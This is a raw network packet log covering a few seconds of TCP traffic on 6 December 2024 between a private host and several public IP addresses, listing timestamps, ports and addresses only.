Dec 6, 2024 18:45:27.139856100 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.139868021 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.139873981 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.143007994 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.143057108 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.143126011 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.144004107 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.144017935 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.145354986 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.145375967 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.145433903 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.145536900 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.145555019 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.165824890 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.165894032 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.165940046 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.166045904 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.166057110 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.166089058 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.166094065 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.172348022 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.172367096 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.172420979 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.172764063 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.172772884 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.179647923 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.179718971 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.179766893 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.180039883 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.180051088 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.180062056 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.180067062 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.184344053 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.184386015 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.184452057 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.184747934 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.184760094 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.217778921 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.217843056 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.219630957 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.219640970 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.219903946 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.243452072 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.243546009 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.243597031 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.243844032 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.243854046 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.248317003 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.248327971 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.248375893 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.248600960 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.248613119 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.267705917 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.287018061 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.331330061 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.595218897 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:27.595742941 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:27.595760107 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:27.596096992 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:27.597281933 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:27.597347021 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:27.643332005 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:27.915878057 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.915910959 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.915918112 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.915927887 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.915949106 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.916004896 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.916028976 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.916058064 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.916193008 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.935950994 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.936038971 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.936069012 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.936109066 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.936945915 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.936945915 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:27.936963081 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:27.936976910 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:28.105252028 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.105407953 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.108695030 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.108726978 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.109116077 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.160017967 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.168878078 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.215347052 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.220767975 CET	49759	443	192.168.2.6	142.250.181.142
Dec 6, 2024 18:45:28.220798969 CET	443	49759	142.250.181.142	192.168.2.6
Dec 6, 2024 18:45:28.220935106 CET	49759	443	192.168.2.6	142.250.181.142
Dec 6, 2024 18:45:28.221261978 CET	49759	443	192.168.2.6	142.250.181.142
Dec 6, 2024 18:45:28.221277952 CET	443	49759	142.250.181.142	192.168.2.6
Dec 6, 2024 18:45:28.340564966 CET	49761	443	192.168.2.6	142.250.200.238
Dec 6, 2024 18:45:28.340586901 CET	443	49761	142.250.200.238	192.168.2.6
Dec 6, 2024 18:45:28.340689898 CET	49761	443	192.168.2.6	142.250.200.238
Dec 6, 2024 18:45:28.340931892 CET	49761	443	192.168.2.6	142.250.200.238
Dec 6, 2024 18:45:28.340949059 CET	443	49761	142.250.200.238	192.168.2.6
Dec 6, 2024 18:45:28.568475962 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:28.568562031 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:28.602971077 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.603051901 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.603106976 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.622992039 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.623027086 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.623039961 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.623045921 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.686935902 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.686996937 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.687068939 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.687920094 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:28.687933922 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:28.693382978 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:28.813162088 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:28.875338078 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.875370026 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.886413097 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.887923956 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.887959003 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.888387918 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.888394117 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.888622046 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.888649940 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.901973963 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.940561056 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.956208944 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.959052086 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.959069014 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.959422112 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.959434032 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.960222960 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.960227966 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.960819006 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.960828066 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.961329937 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.961335897 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.979037046 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.987070084 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.987086058 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:28.991401911 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:28.991406918 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383620977 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383624077 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383641005 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383687019 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383702993 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383719921 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.383732080 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.383771896 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.383774042 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.451956034 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.452027082 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.452106953 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.549793959 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.549815893 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.549838066 CET	49755	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.549844027 CET	443	49755	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.550947905 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.550973892 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.550985098 CET	49757	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.550990105 CET	443	49757	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.555114985 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.555129051 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.555135012 CET	49756	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.555140018 CET	443	49756	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.559111118 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.559130907 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.559149027 CET	49754	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.559154987 CET	443	49754	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.602466106 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.602515936 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.602577925 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.606973886 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.606992960 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.607038975 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.607069969 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.607146025 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.607276917 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.607289076 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.609745026 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.609778881 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.609874010 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.610516071 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.610526085 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.611244917 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.611255884 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.611330986 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.611464024 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.611474991 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.650778055 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:29.650918007 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:29.658091068 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.658857107 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.658907890 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.659686089 CET	49758	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.659693956 CET	443	49758	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.671964884 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.671998978 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.672061920 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.679908991 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:29.679924011 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:29.763468027 CET	443	49761	142.250.200.238	192.168.2.6
Dec 6, 2024 18:45:29.815557003 CET	49761	443	192.168.2.6	142.250.200.238
Dec 6, 2024 18:45:29.943439007 CET	443	49759	142.250.181.142	192.168.2.6
Dec 6, 2024 18:45:29.980509996 CET	49761	443	192.168.2.6	142.250.200.238
Dec 6, 2024 18:45:29.981210947 CET	49759	443	192.168.2.6	142.250.181.142
Dec 6, 2024 18:45:29.981224060 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:30.043396950 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.043464899 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:30.044846058 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:30.044852972 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.045078993 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.046072006 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:30.087337971 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.549432039 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.549499989 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:30.549549103 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:30.584323883 CET	49762	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:30.584347963 CET	443	49762	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:31.333250999 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.333266973 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.333277941 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.333769083 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.333784103 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.333802938 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.333817005 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.334309101 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.334314108 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.334386110 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.334391117 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.334563017 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.334589005 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.334925890 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.334930897 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.371820927 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.372267008 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.372308969 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.372780085 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.372786999 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.400338888 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.400748014 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.400768995 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.401216030 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.401221991 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.768862963 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.768933058 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.769038916 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.769527912 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.769598961 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.770909071 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.780751944 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.780817032 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.780870914 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.786859035 CET	49764	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.786873102 CET	443	49764	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.787945986 CET	49766	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.787951946 CET	443	49766	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.792427063 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.792449951 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.792450905 CET	49765	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.792457104 CET	443	49765	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.812741995 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.812803984 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.812851906 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.839659929 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.839659929 CET	49763	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.839685917 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.839695930 CET	443	49763	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.881021976 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.881091118 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.881141901 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.986758947 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.986819029 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.987035036 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.988778114 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:31.988837004 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:31.988897085 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.068886995 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.068929911 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.068948030 CET	49767	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.068954945 CET	443	49767	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.108870983 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.108891010 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.120908976 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.120939016 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.496728897 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.496797085 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.496862888 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.508373022 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.508387089 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.508441925 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.509715080 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.509747028 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.509800911 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.510060072 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.510071993 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.510958910 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.510972977 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:32.511080027 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:32.511095047 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.868426085 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.869188070 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:33.869218111 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.869744062 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:33.869750023 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.903882980 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.904256105 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:33.904294968 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:33.904665947 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:33.904671907 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.225939989 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.226383924 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.226403952 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.226824999 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.226830006 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.228058100 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.228094101 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.228470087 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.228494883 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.228650093 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.228672981 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.228926897 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.228935003 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.229207993 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.229212999 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.303225040 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.303287983 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.303416967 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.303637981 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.303658009 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.303668976 CET	49768	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.303673983 CET	443	49768	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.306154966 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.306200981 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.306436062 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.306644917 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.306658983 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.339401007 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.339485884 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.342161894 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.342895031 CET	49769	443	192.168.2.6	13.107.246.63
